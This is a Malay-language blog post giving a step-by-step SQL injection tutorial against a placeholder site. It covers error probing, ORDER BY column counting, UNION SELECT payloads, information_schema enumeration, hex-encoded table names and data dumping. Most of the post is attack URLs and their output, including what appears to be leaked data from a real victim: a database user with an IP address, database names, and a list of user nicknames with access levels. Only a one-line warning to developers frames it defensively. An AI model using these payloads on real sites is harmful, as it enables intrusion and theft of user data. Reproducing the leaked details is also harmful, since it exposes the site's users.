PeNGENALAN
SQL adalah singkatan kepada Structured Query Language. SQL digunakan untuk berkomunikasi dengan database dlm sesuatu sistem (applikasi web). Beberapa database yang biasa digunakan adalah Oracle, MySQL, Sybase, Access, Ingres, dn byk lagi.
beberapa arahan yg standard untuk SQL ni seperti Select, Insert, Drop, Delete, Update, dan juga Create.
PeNGeNALAN KePADA SQLi (SQL INJeCTION)
SQLi adalah satu teknik dimana penggodam menggunakan kelemahan sistem itu sendiri dgn memasukkan arahan ke dalam Form Input ataupun dlm URL itu sendiri.
Kebanyakan SQLi dilakukan dlm URL sbb ia memberikan 'error yg spesel'.
APA YANG MeReKA BOLeH BuAT DeNGAN SQLi?
Data yg penting seperti password admin, password user, username, username admin, username superadmin, email, dn mcm2 lg.
setelah suma data ni abis dihisap oleh penggodam, kebanyakannya akan meletakkan backdoor pada sistem anda dgn menggunakan arahan Create, dan Insert.
Lebih sadis jika penggodam itu menghapuskan semua data dlm sistem anda dgn arahan Delete atau Drop.
CARA MeNGeTAHUI WeBSITe BOLEH DISeRANG DGN SQLi
contoh:
1. katakan anda menjumpai satu site dgn alamat seperti ni>
Quote:
http://www.contoh.com/index.php?id=89
2. untuk mengetahui jika site itu boled diserang dgn cara SQLi adalah sgt mudah. anda hanya perlu meletakkan ' di hujung url tersebut.
http://www.contoh.com/index.php?id=89'
3. jika anda mendapat pparan error seperti ni>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''tr'' AND nitDisplayFrom <=NOW() AND nitRemovalDate >NOW() AND nitDi' at line 5
We're sorry, the page you are looking for may have moved during the redesign of our site or no longer exists. Please return to the home page or use the search option for further information. You can contact us if you feel you have reached this page in error:
[spoiler]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3[/spoiler]
atau anda mendapat halaman yg tidak lengkap seperti halaman yg kosong shj.
4. VOiLLa!! site tersebut boleh diserang dgn SQLi.
MeNGeTAHUI BILANGAN COLUMN
1. seblum anda dpt bergerak ke aktiviti seterusnya, anda harus tahu berapa byk bilangan column website tersebut.
2. masukkan arahan seperti ini:
http://www.contoh.com/index.php?id=89+ORDER+BY+1--
atau
http://www.contoh.com/index.php?id=89+ORDER+BY+1/*
atau
http://www.contoh.com/index.php?id=89+ORDER+BY+1#
3. seterusnya, tambahkan nilai 1 tersebut sehingga anda mendapat error seperti ini:
Unknown column '13' in 'order clause'
4. ini bermaksud, nilai column dlm website ni kurang dari 13
5. jika anda mendapat error ni, kurang nombor tersebur sehingga anda mendapat halaman yg normal.
6. contoh:
anda meletakkan nombor 13 pada url
http://www.contoh.com/index.php?id=89+ORDER+BY+13--
anda mendapat error
Unknown column '13' in 'order clause'
seterusnya anda meletakkan nombor 12 dlm URL
http://www.contoh.com/index.php?id=89+ORDER+BY+12--
anda mendapat halaman normal i.e: website to x kuarkan apa2 error
Bilangan column yg ada pada website ni adalah 12
COLUMN YANG BOLeH DISeRANG
column yang boleh diserang dgn SQLi boleh diketahui dgn arahan
AND 1=0 UNION SELECT ALL
AND 1=0 bermaksud, database tu akan sentiasa mentafsirkan arahan anda sebagai error
1. menentukan column yang bolh di serang dgn memasukkan arahan di atas pada URL
http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,6,7,8,9,10,11,12--
atau
http://www.contoh.com/index.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--
arahan ini akan menunjukkan nombor column yang boleh diserang pada website tersebut.
contoh: sebaik sahaja anda meletakkan arahan tersebut, ada nombor yang keluar pada website tersebut.
dari sini, kita dpt kenal pasti bahawa column yang boleh diserang adalah column 1,2,3, dan 4
MeNGeTAHUI VeRSI DATABASe
sekarang kita boleh mengetahui versi database tersebut dgn memasukkan arahan pada column yang boleh diserang td.
arahan:
@@version version() concat_ws(0x3a,version(),user(),database()) <-- advanced
kita akan memasukkan salah sati arahan di atas pda column yg vuln td. (contoh: sy gnkn column nombor 2)
http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,@@version,3,4,5,6,7,8,9,10,11,12--
http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,version(),3,4,5,6,7,8,9,10,11,12--
http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12--
dari sini, kita dpt tahu:
Versi: 5.0.81 User: yaumh@202.190.197.138 Database: penang
SQL 4 vs SQL 5
tutorial ini hanya melibat website yang mengunakan SQL versi 5. dlm SQL 4, database dinamakan sendiri oleh webmaster. nama2 ini juga tidak dikumpulkan dlm stu pusat seperti SQL 5 yang menggunakan konsep information_schema.
Untuk melihat semua database dlm SQL 5, kita gnkan arahan
group_concat(schema_name) ... from information_schema.schemata
contoh:
http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.SCHEMATA--
database yg ada:
information_schema kuching msiahelp penang
MeNCARI NAMA TABLe
selepas kita dpt nama database, seterusnya kita boleh mendapat nama table yg ada dlm database tersebut.
group_concat(table_name)..+from+information_schema.tables+where+table_schema=database()
contoh:
http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--
table yg ada dlm database()
chanstats comments monitor news people profiles quotes userstats vote
MeNDAPATKAN NAMA COLUMN DALAm TABLe
cara mendapat nama colum dalam suatu table adalah dgn menggunakan arahan
group_concat(column_name)...+from+information_schema.columns+where+table_name=***nama table**--
contoh: sy gnakan table> people
http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='people'--
oppss.. dpt error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'people\'--' at line 3
cara yg betul adalah menukarkan people kepada hexadecimal. (download encoder tool>http://www.megaupload.com/?d=FGFMN7NV)
jd,
people menjadi 0x70656F706C65
seterusnya tkar people dgn hex tersebut dlm URL
http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x70656F706C65--
Voilla!!
column yg ada
id nickname category access
MiNiNG DATA
kita tahu nama database, nama table, dan juga nama column. seterunya kita boleh melihat semua data dalam column yg kita kehendaki.
group_concat(***nama column)...+from+**nama table
contoh: nama table: people nama column:id nickname category access
(sy hya akn gn column: nicname dn access)
http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(nickname,0x3a,access),3,4,5,6,7,8,9,10,11,12+FROM+people--
(sy tukar ke column 3 coz t'lalu besar)
see.. username utk site ni. Nama ko pun ada jg x? haha
username Access
Gawd 3
Kidz 2
Fully_Alive 2
Isaac:1,Kelv 1
cHoChObO 1
girl^_19 1
TcK:2,mandytmm 1
sojai6 1
Micintosh 1
HanzZ 1
bash 2
Fionna 1
Resists 1
Darknet 1
^-^ 3
soon^_^ 1
Oraculum 1
dolly^o^liss 1
esprit 1
yushi 1
rlinux 1
minicompo 1
V^v|aN 1
Card|naL 1
dgn cara cmni je, satu website tu boleh dihancurkan. So, hati2 bila membangunkan website. Sentiasa backup data dan gn ENCRYPTION terutama utk password dan username.
No comments:
Post a Comment
Whats your thought on this post?